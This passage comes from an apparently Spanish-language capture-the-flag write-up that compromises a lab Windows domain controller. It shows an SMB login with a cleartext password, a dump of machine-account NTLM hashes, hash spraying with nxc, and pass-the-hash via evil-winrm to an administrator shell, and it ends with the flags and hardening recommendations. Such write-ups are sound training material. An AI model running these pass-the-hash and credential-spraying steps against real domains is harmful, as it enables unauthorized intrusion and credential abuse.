SMB         10.0.2.4        445    DC01             Users                           

Conectandonos al recurso backup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Conectar a backup
smbclient //10.0.2.4/backup -U 'file_svc%Paxx!!'

# Dentro, listar y descargar backup_extract.txt
smb: \> dir
smb: \> get backup_extract.txt
exit

# Ver el contenido
cat backup_extract.txt

WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::

Análisis: El archivo contiene hashes NTLM de cuentas de máquinas (ComputerName$), probablemente extraídos de un backup del NTDS.dit.


8. Extracción y Prueba de Hashes

Separación de Usuarios y Hashes

1
2
cat backup_extract.txt | awk -F ":" '{print $1}' > usuarios_machine.txt
cat backup_extract.txt | awk -F ":" '{print $4}' > machine_hashes.txt

Verificación de Hashes con nxc

1
nxc smb 10.0.2.4 -u usuarios_machine.txt -H machine_hashes.txt --continue-on-success | grep "[+]"

Resultado:

1
SMB   10.0.2.4   445   DC01   [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)

Análisis: El flag (Pwn3d!) indica que la cuenta FileServer$ tiene privilegios administrativos en el dominio. Vamos a comprobar las credenciales de winrm y tenemos un sistema accedido (Pwn3d!)

1
2
3
4
5
6
└─$ nxc winrm 10.0.2.4 -u FileServer$ -H e41da7e79a4c76dbd9cf79d1cb325559                             
WINRM       10.0.2.4        5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL) 
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.0.2.4        5985   DC01             [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)


9. Acceso por WinRM

Verificación de WinRM

1
nxc winrm 10.0.2.4 -u FileServer$ -H e41da7e79a4c76dbd9cf79d1cb325559

Resultado:

1
WINRM   10.0.2.4   5985   DC01   [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)

Obtención de Shell con evil-winrm

1
evil-winrm -i 10.0.2.4 -u 'SOUPEDECODE.LOCAL\FileServer$' -H e41da7e79a4c76dbd9cf79d1cb325559

Resultado:

1
*Evil-WinRM* PS C:\Users\FileServer$\Documents>

Flag de Administrador

1
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
1
a9564ebc3289b7a14551baf8ad5ec60a

10. Resumen de Flags

FlagRutaHash
user.txtC:\Users\ybob317\Desktop\6bab1f09a7403980bfeb4c2b412be47b
root.txtC:\Users\Administrator\Desktop\a9564ebc3289b7a14551baf8ad5ec60a

11. Conclusiones

La intrusión demostró que el dominio SOUPEDECODE.LOCAL presenta múltiples vulnerabilidades que permitieron escalar desde un acceso sin privilegios hasta control total del Domain Controller:

  1. Enumeración de usuarios a través de RID brute con cuenta Guest
  2. Password spraying exitoso por política de contraseñas débiles
  3. Kerberoasting contra cuentas de servicio con SPNs
  4. Cracking de hash TGS con diccionario común
  5. Acceso a backup de hashes de cuentas de máquina
  6. Pass-the-Hash para obtener shell con privilegios de Enterprise Admin

12. Recomendaciones

Medidas Inmediatas

  1. Deshabilitar cuenta Guest o restringir sus capacidades de enumeración
  2. Cambiar contraseñas de todas las cuentas comprometidas:
    • ybob317
    • file_svc
    • FileServer$
  3. Revisar políticas de contraseñas implementando requisitos de complejidad
  4. Auditar cuentas con SPNs y usar contraseñas complejas de 25+ caracteres

Hardening a Largo Plazo

  1. Implementar Protected Users Group para cuentas administrativas
  2. Configurar Kerberos pre-autenticación obligatoria para todas las cuentas
  3. Monitorear eventos 4769 (Kerberoasting) y 4776 (pass-the-hash)
  4. Restringir acceso a recursos compartidos como backup con el principio de mínimo privilegio
  5. Implementar LAPS (Local Administrator Password Solution)
This post is licensed under CC BY 4.0 by the author.